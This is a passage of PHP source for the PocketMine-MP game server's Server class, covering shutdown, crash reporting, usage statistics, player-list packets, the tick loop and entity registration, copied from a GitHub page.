$killer->start(); | |
$killer->detach(); | |
} | |
$this->isRunning = \false; | |
} | |
public function forceShutdown(){ | |
if($this->hasStopped){ | |
return; | |
} | |
try{ | |
if(!$this->isRunning()){ | |
$this->sendUsage(SendUsageTask::TYPE_CLOSE); | |
} | |
$this->hasStopped = \true; | |
$this->shutdown(); | |
if($this->rcon instanceof RCON){ | |
$this->rcon->stop(); | |
} | |
if($this->getProperty("network.upnp-forwarding", \false) === \true){ | |
$this->logger->info("[UPnP] Removing port forward..."); | |
UPnP::RemovePortForward($this->getPort()); | |
} | |
$this->getLogger()->debug("Disabling all plugins"); | |
$this->pluginManager->disablePlugins(); | |
foreach($this->players as $player){ | |
$player->close($player->getLeaveMessage(), $this->getProperty("settings.shutdown-message", "Server closed")); | |
} | |
$this->getLogger()->debug("Unloading all levels"); | |
foreach($this->getLevels() as $level){ | |
$this->unloadLevel($level, \true); | |
} | |
$this->getLogger()->debug("Removing event handlers"); | |
HandlerList::unregisterAll(); | |
$this->getLogger()->debug("Stopping all tasks"); | |
$this->scheduler->cancelAllTasks(); | |
$this->scheduler->mainThreadHeartbeat(\PHP_INT_MAX); | |
$this->getLogger()->debug("Saving properties"); | |
$this->properties->save(); | |
$this->getLogger()->debug("Closing console"); | |
$this->console->kill(); | |
$this->getLogger()->debug("Stopping network interfaces"); | |
foreach($this->network->getInterfaces() as $interface){ | |
$interface->shutdown(); | |
$this->network->unregisterInterface($interface); | |
} | |
$this->memoryManager->doObjectCleanup(); | |
\gc_collect_cycles(); | |
}catch(\Exception $e){ | |
$this->logger->emergency("Crashed while crashing, killing process"); | |
@kill(\getmypid()); | |
} | |
} | |
public function getQueryInformation(){ | |
return $this->queryRegenerateTask; | |
} | |
/** | |
* Starts the PocketMine-MP server and starts processing ticks and packets | |
*/ | |
public function start(){ | |
if($this->getConfigBoolean("enable-query", \true) === \true){ | |
$this->queryHandler = new QueryHandler(); | |
} | |
foreach($this->getIPBans()->getEntries() as $entry){ | |
$this->network->blockAddress($entry->getName(), -1); | |
} | |
if($this->getProperty("settings.send-usage", \true)){ | |
$this->sendUsageTicker = 6000; | |
$this->sendUsage(SendUsageTask::TYPE_OPEN); | |
} | |
if($this->getProperty("network.upnp-forwarding", \false) == \true){ | |
$this->logger->info("[UPnP] Trying to port forward..."); | |
UPnP::PortForward($this->getPort()); | |
} | |
$this->tickCounter = 0; | |
if(\function_exists("pcntl_signal")){ | |
\pcntl_signal(SIGTERM, [$this, "handleSignal"]); | |
\pcntl_signal(SIGINT, [$this, "handleSignal"]); | |
\pcntl_signal(SIGHUP, [$this, "handleSignal"]); | |
$this->dispatchSignals = \true; | |
} | |
$this->logger->info($this->getLanguage()->translateString("pocketmine.server.defaultGameMode", [self::getGamemodeString($this->getGamemode())])); | |
$this->logger->info($this->getLanguage()->translateString("pocketmine.server.startFinished", [\round(\microtime(\true) - \pocketmine\START_TIME, 3)])); | |
$this->tickProcessor(); | |
$this->forceShutdown(); | |
\gc_collect_cycles(); | |
} | |
public function handleSignal($signo){ | |
if($signo === SIGTERM or $signo === SIGINT or $signo === SIGHUP){ | |
$this->shutdown(); | |
} | |
} | |
public function exceptionHandler(\Exception $e, $trace = \null){ | |
if($e === \null){ | |
return; | |
} | |
global $lastError; | |
if($trace === \null){ | |
$trace = $e->getTrace(); | |
} | |
$errstr = $e->getMessage(); | |
$errfile = $e->getFile(); | |
$errno = $e->getCode(); | |
$errline = $e->getLine(); | |
$type = ($errno === E_ERROR or $errno === E_USER_ERROR) ? \LogLevel::ERROR : (($errno === E_USER_WARNING or $errno === E_WARNING) ? \LogLevel::WARNING : \LogLevel::NOTICE); | |
if(($pos = \strpos($errstr, "\n")) !== \false){ | |
$errstr = \substr($errstr, 0, $pos); | |
} | |
$errfile = cleanPath($errfile); | |
if($this->logger instanceof MainLogger){ | |
$this->logger->logException($e, $trace); | |
} | |
$lastError = [ | |
"type" => $type, | |
"message" => $errstr, | |
"fullFile" => $e->getFile(), | |
"file" => $errfile, | |
"line" => $errline, | |
"trace" => @getTrace(1, $trace) | |
]; | |
global $lastExceptionError, $lastError; | |
$lastExceptionError = $lastError; | |
$this->crashDump(); | |
} | |
public function crashDump(){ | |
if($this->isRunning === \false){ | |
return; | |
} | |
if($this->sendUsageTicker > 0){ | |
$this->sendUsage(SendUsageTask::TYPE_CLOSE); | |
} | |
$this->hasStopped = \false; | |
\ini_set("error_reporting", 0); | |
\ini_set("memory_limit", -1); //Fix error dump not dumped on memory problems | |
$this->logger->emergency($this->getLanguage()->translateString("pocketmine.crash.create")); | |
try{ | |
$dump = new CrashDump($this); | |
}catch(\Exception $e){ | |
$this->logger->critical($this->getLanguage()->translateString("pocketmine.crash.error", $e->getMessage())); | |
return; | |
} | |
$this->logger->emergency($this->getLanguage()->translateString("pocketmine.crash.submit", [$dump->getPath()])); | |
if($this->getProperty("auto-report.enabled", \true) !== \false){ | |
$report = \true; | |
$plugin = $dump->getData()["plugin"]; | |
if(\is_string($plugin)){ | |
$p = $this->pluginManager->getPlugin($plugin); | |
if($p instanceof Plugin and !($p->getPluginLoader() instanceof PharPluginLoader)){ | |
$report = \false; | |
} | |
}elseif(\Phar::running(\true) == ""){ | |
$report = \false; | |
} | |
if($dump->getData()["error"]["type"] === "E_PARSE" or $dump->getData()["error"]["type"] === "E_COMPILE_ERROR"){ | |
$report = \false; | |
} | |
if($report){ | |
$reply = Utils::postURL("http://" . $this->getProperty("auto-report.host", "crash.pocketmine.net") . "/submit/api", [ | |
"report" => "yes", | |
"name" => $this->getName() . " " . $this->getPocketMineVersion(), | |
"email" => "[email protected]", | |
"reportPaste" => \base64_encode($dump->getEncodedData()) | |
]); | |
if(($data = \json_decode($reply)) !== \false and isset($data->crashId)){ | |
$reportId = $data->crashId; | |
$reportUrl = $data->crashUrl; | |
$this->logger->emergency($this->getLanguage()->translateString("pocketmine.crash.archive", [$reportUrl, $reportId])); | |
} | |
} | |
} | |
//$this->checkMemory(); | |
//$dump .= "Memory Usage Tracking: \r\n" . chunk_split(base64_encode(gzdeflate(implode(";", $this->memoryStats), 9))) . "\r\n"; | |
$this->forceShutdown(); | |
$this->isRunning = \false; | |
@kill(\getmypid()); | |
exit(1); | |
} | |
public function __debugInfo(){ | |
return []; | |
} | |
private function tickProcessor(){ | |
$this->nextTick = \microtime(\true); | |
while($this->isRunning){ | |
$this->tick(); | |
$next = $this->nextTick - 0.0001; | |
if($next > \microtime(\true)){ | |
try{ | |
\time_sleep_until($next); | |
}catch(\Exception $e){ | |
//Sometimes $next is less than the current time. High load? | |
} | |
} | |
} | |
} | |
public function onPlayerLogin(Player $player){ | |
if($this->sendUsageTicker > 0){ | |
$this->uniquePlayers[$player->getRawUniqueId()] = $player->getRawUniqueId(); | |
} | |
$this->sendRecipeList($player); | |
} | |
public function addPlayer($identifier, Player $player){ | |
$this->players[$identifier] = $player; | |
$this->identifiers[\spl_object_hash($player)] = $identifier; | |
} | |
public function addOnlinePlayer(Player $player){ | |
$this->playerList[$player->getRawUniqueId()] = $player; | |
$this->updatePlayerListData($player->getUniqueId(), $player->getId(), $player->getDisplayName(), $player->isSkinSlim(), $player->getSkinFlag(), $player->getSkinData()); | |
} | |
public function removeOnlinePlayer(Player $player){ | |
if(isset($this->playerList[$player->getRawUniqueId()])){ | |
unset($this->playerList[$player->getRawUniqueId()]); | |
$pk = new PlayerListPacket(); | |
$pk->type = PlayerListPacket::TYPE_REMOVE; | |
$pk->entries[] = [$player->getUniqueId()]; | |
Server::broadcastPacket($this->playerList, $pk); | |
} | |
} | |
public function updatePlayerListData(UUID $uuid, $entityId, $name, $isSlim, $skinData, $skinflag, array $players = null){ | |
$pk = new PlayerListPacket(); | |
$pk->type = PlayerListPacket::TYPE_ADD; | |
$pk->entries[] = [$uuid, $entityId, $name, $isSlim, $skinflag, $skinData]; | |
Server::broadcastPacket($players === \null ? $this->playerList : $players, $pk); | |
} | |
public function removePlayerListData(UUID $uuid, array $players = \null){ | |
$pk = new PlayerListPacket(); | |
$pk->type = PlayerListPacket::TYPE_REMOVE; | |
$pk->entries[] = [$uuid]; | |
Server::broadcastPacket($players === \null ? $this->playerList : $players, $pk); | |
} | |
public function sendFullPlayerListData(Player $p){ | |
$pk = new PlayerListPacket(); | |
$pk->type = PlayerListPacket::TYPE_ADD; | |
foreach($this->playerList as $player){ | |
$pk->entries[] = [$player->getUniqueId(), $player->getId(), $player->getDisplayName(), $player->isSkinSlim(), $player->getSkinFlag(), $player->getSkinData()]; | |
} | |
$p->dataPacket($pk); | |
} | |
public function sendRecipeList(Player $p){ | |
$pk = new CraftingDataPacket(); | |
$pk->cleanRecipes = \true; | |
foreach($this->getCraftingManager()->getRecipes() as $recipe){ | |
if($recipe instanceof ShapedRecipe){ | |
$pk->addShapedRecipe($recipe); | |
}elseif($recipe instanceof ShapelessRecipe){ | |
$pk->addShapelessRecipe($recipe); | |
} | |
} | |
foreach($this->getCraftingManager()->getFurnaceRecipes() as $recipe){ | |
$pk->addFurnaceRecipe($recipe); | |
} | |
$p->dataPacket($pk); | |
} | |
private function checkTickUpdates($currentTick, $tickTime){ | |
foreach($this->players as $p){ | |
if(!$p->loggedIn and ($tickTime - $p->creationTime) >= 10){ | |
$p->close("", "Login timeout"); | |
}elseif($this->alwaysTickPlayers){ | |
$p->onUpdate($currentTick); | |
} | |
} | |
//Do level ticks | |
foreach($this->getLevels() as $level){ | |
if($level->getTickRate() > $this->baseTickRate and --$level->tickRateCounter > 0){ | |
continue; | |
} | |
try{ | |
$levelTime = \microtime(\true); | |
$level->doTick($currentTick); | |
$tickMs = (\microtime(\true) - $levelTime) * 1000; | |
$level->tickRateTime = $tickMs; | |
if($this->autoTickRate){ | |
if($tickMs < 50 and $level->getTickRate() > $this->baseTickRate){ | |
$level->setTickRate($r = $level->getTickRate() - 1); | |
if($r > $this->baseTickRate){ | |
$level->tickRateCounter = $level->getTickRate(); | |
} | |
$this->getLogger()->debug("Raising level \"".$level->getName()."\" tick rate to ".$level->getTickRate()." ticks"); | |
}elseif($tickMs >= 50){ | |
if($level->getTickRate() === $this->baseTickRate){ | |
$level->setTickRate(\max($this->baseTickRate + 1, \min($this->autoTickRateLimit, \floor($tickMs / 50)))); | |
$this->getLogger()->debug("Level \"".$level->getName()."\" took ".\round($tickMs, 2)."ms, setting tick rate to ".$level->getTickRate()." ticks"); | |
}elseif(($tickMs / $level->getTickRate()) >= 50 and $level->getTickRate() < $this->autoTickRateLimit){ | |
$level->setTickRate($level->getTickRate() + 1); | |
$this->getLogger()->debug("Level \"".$level->getName()."\" took ".\round($tickMs, 2)."ms, setting tick rate to ".$level->getTickRate()." ticks"); | |
} | |
$level->tickRateCounter = $level->getTickRate(); | |
} | |
} | |
}catch(\Exception $e){ | |
$this->logger->critical($this->getLanguage()->translateString("pocketmine.level.tickError", [$level->getName(), $e->getMessage()])); | |
if(\pocketmine\DEBUG > 1 and $this->logger instanceof MainLogger){ | |
$this->logger->logException($e); | |
} | |
} | |
} | |
} | |
public function doAutoSave(){ | |
if($this->getAutoSave()){ | |
Timings::$worldSaveTimer->startTiming(); | |
foreach($this->players as $index => $player){ | |
if($player->isOnline()){ | |
$player->save(\true); | |
}elseif(!$player->isConnected()){ | |
$this->removePlayer($player); | |
} | |
} | |
foreach($this->getLevels() as $level){ | |
$level->save(\false); | |
} | |
Timings::$worldSaveTimer->stopTiming(); | |
} | |
} | |
public function sendUsage($type = SendUsageTask::TYPE_STATUS){ | |
$this->scheduler->scheduleAsyncTask(new SendUsageTask($this, $type, $this->uniquePlayers)); | |
$this->uniquePlayers = []; | |
} | |
/** | |
* @return BaseLang | |
*/ | |
public function getLanguage(){ | |
return $this->baseLang; | |
} | |
/** | |
* @return bool | |
*/ | |
public function isLanguageForced(){ | |
return $this->forceLanguage; | |
} | |
/** | |
* @return Network | |
*/ | |
public function getNetwork(){ | |
return $this->network; | |
} | |
/** | |
* @return MemoryManager | |
*/ | |
public function getMemoryManager(){ | |
return $this->memoryManager; | |
} | |
private function titleTick(){ | |
if(!Terminal::hasFormattingCodes()){ | |
return; | |
} | |
$d = Utils::getRealMemoryUsage(); | |
$u = Utils::getMemoryUsage(\true); | |
$usage = \round(($u[0] / 1024) / 1024, 2) . "/" . \round(($d[0] / 1024) / 1024, 2) . "/" . \round(($u[1] / 1024) / 1024, 2) . "/".\round(($u[2] / 1024) / 1024, 2)." MB @ " . Utils::getThreadCount() . " threads"; | |
echo "\x1b]0;" . $this->getName() . " " . | |
$this->getPocketMineVersion() . | |
" | Online " . \count($this->players) . "/" . $this->getMaxPlayers() . | |
" | Memory " . $usage . | |
" | U " . \round($this->network->getUpload() / 1024, 2) . | |
" D " . \round($this->network->getDownload() / 1024, 2) . | |
" kB/s | TPS " . $this->getTicksPerSecond() . | |
" | Load " . $this->getTickUsage() . "%\x07"; | |
$this->network->resetStatistics(); | |
} | |
/** | |
* @param string $address | |
* @param int $port | |
* @param string $payload | |
* | |
* TODO: move this to Network | |
*/ | |
public function handlePacket($address, $port, $payload){ | |
try{ | |
if(\strlen($payload) > 2 and \substr($payload, 0, 2) === "\xfe\xfd" and $this->queryHandler instanceof QueryHandler){ | |
$this->queryHandler->handle($address, $port, $payload); | |
} | |
}catch(\Exception $e){ | |
if(\pocketmine\DEBUG > 1){ | |
if($this->logger instanceof MainLogger){ | |
$this->logger->logException($e); | |
} | |
} | |
$this->getNetwork()->blockAddress($address, 600); | |
} | |
//TODO: add raw packet events | |
} | |
/** | |
* Tries to execute a server tick | |
*/ | |
private function tick(){ | |
$tickTime = \microtime(\true); | |
if(($tickTime - $this->nextTick) < -0.025){ //Allow half a tick of diff | |
return \false; | |
} | |
Timings::$serverTickTimer->startTiming(); | |
++$this->tickCounter; | |
$this->checkConsole(); | |
Timings::$connectionTimer->startTiming(); | |
$this->network->processInterfaces(); | |
if($this->rcon !== \null){ | |
$this->rcon->check(); | |
} | |
Timings::$connectionTimer->stopTiming(); | |
Timings::$schedulerTimer->startTiming(); | |
$this->scheduler->mainThreadHeartbeat($this->tickCounter); | |
Timings::$schedulerTimer->stopTiming(); | |
$this->checkTickUpdates($this->tickCounter, $tickTime); | |
foreach($this->players as $player){ | |
$player->checkNetwork(); | |
} | |
if(($this->tickCounter & 0b1111) === 0){ | |
$this->titleTick(); | |
$this->maxTick = 20; | |
$this->maxUse = 0; | |
if(($this->tickCounter & 0b111111111) === 0){ | |
try{ | |
$this->getPluginManager()->callEvent($this->queryRegenerateTask = new QueryRegenerateEvent($this, 5)); | |
if($this->queryHandler !== \null){ | |
$this->queryHandler->regenerateInfo(); | |
} | |
}catch(\Exception $e){ | |
if($this->logger instanceof MainLogger){ | |
$this->logger->logException($e); | |
} | |
} | |
} | |
$this->getNetwork()->updateName(); | |
} | |
if($this->autoSave and ++$this->autoSaveTicker >= $this->autoSaveTicks){ | |
$this->autoSaveTicker = 0; | |
$this->doAutoSave(); | |
} | |
if($this->sendUsageTicker > 0 and --$this->sendUsageTicker === 0){ | |
$this->sendUsageTicker = 6000; | |
$this->sendUsage(SendUsageTask::TYPE_STATUS); | |
} | |
if(($this->tickCounter % 100) === 0){ | |
foreach($this->levels as $level){ | |
$level->clearCache(); | |
} | |
if($this->getTicksPerSecondAverage() < 12){ | |
$this->logger->warning($this->getLanguage()->translateString("pocketmine.server.tickOverload")); | |
} | |
} | |
if($this->dispatchSignals and $this->tickCounter % 5 === 0){ | |
\pcntl_signal_dispatch(); | |
} | |
$this->getMemoryManager()->check(); | |
Timings::$serverTickTimer->stopTiming(); | |
$now = \microtime(\true); | |
$tick = \min(20, 1 / \max(0.001, $now - $tickTime)); | |
$use = \min(1, ($now - $tickTime) / 0.05); | |
TimingsHandler::tick($tick <= $this->profilingTickRate); | |
if($this->maxTick > $tick){ | |
$this->maxTick = $tick; | |
} | |
if($this->maxUse < $use){ | |
$this->maxUse = $use; | |
} | |
\array_shift($this->tickAverage); | |
$this->tickAverage[] = $tick; | |
\array_shift($this->useAverage); | |
$this->useAverage[] = $use; | |
if(($this->nextTick - $tickTime) < -1){ | |
$this->nextTick = $tickTime; | |
}else{ | |
$this->nextTick += 0.05; | |
} | |
return \true; | |
} | |
private function registerEntities(){ | |
Entity::registerEntity(Arrow::class); | |
Entity::registerEntity(DroppedItem::class); | |
Entity::registerEntity(FallingSand::class); | |
Entity::registerEntity(PrimedTNT::class); | |
Entity::registerEntity(Snowball::class); | |
Entity::registerEntity(Bat::class); | |
Entity::registerEntity(Blaze::class); | |
Entity::registerEntity(Villager::class); | |
Entity::registerEntity(Zombie::class); | |
Entity::registerEntity(Squid::class); | |
Entity::registerEntity(Ghast::class); | |
Entity::registerEntity(CavernSpider::class); | |
Entity::registerEntity(Chicken::class); | |
Entity::registerEntity(Cow::class); | |
Entity::registerEntity(Creeper::class); | |
Entity::registerEntity(Enderman::class); | |
Entity::registerEntity(Ozelot::class); | |
Entity::registerEntity(Pig::class); | |
Entity::registerEntity(PigZombie::class); | |
Entity::registerEntity(Rabbit::class); | |
Entity::registerEntity(Sheep::class); | |
Entity::registerEntity(Silverfish::class); | |
Entity::registerEntity(Skeleton::class); | |
Entity::registerEntity(Slime::class); | |
Entity::registerEntity(Spider::class); | |
Entity::registerEntity(MagmaCube::class); | |
Entity::registerEntity(Mooshroom::class); | |
Entity::registerEntity(Wolf::class); | |
Entity::registerEntity(Human::class, \true); | |
} | |
private function registerTiles(){ | |
Tile::registerTile(Chest::class); | |
Tile::registerTile(Furnace::class); | |
Tile::registerTile(Sign::class); | |
Tile::registerTile(EnchantTable::class); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment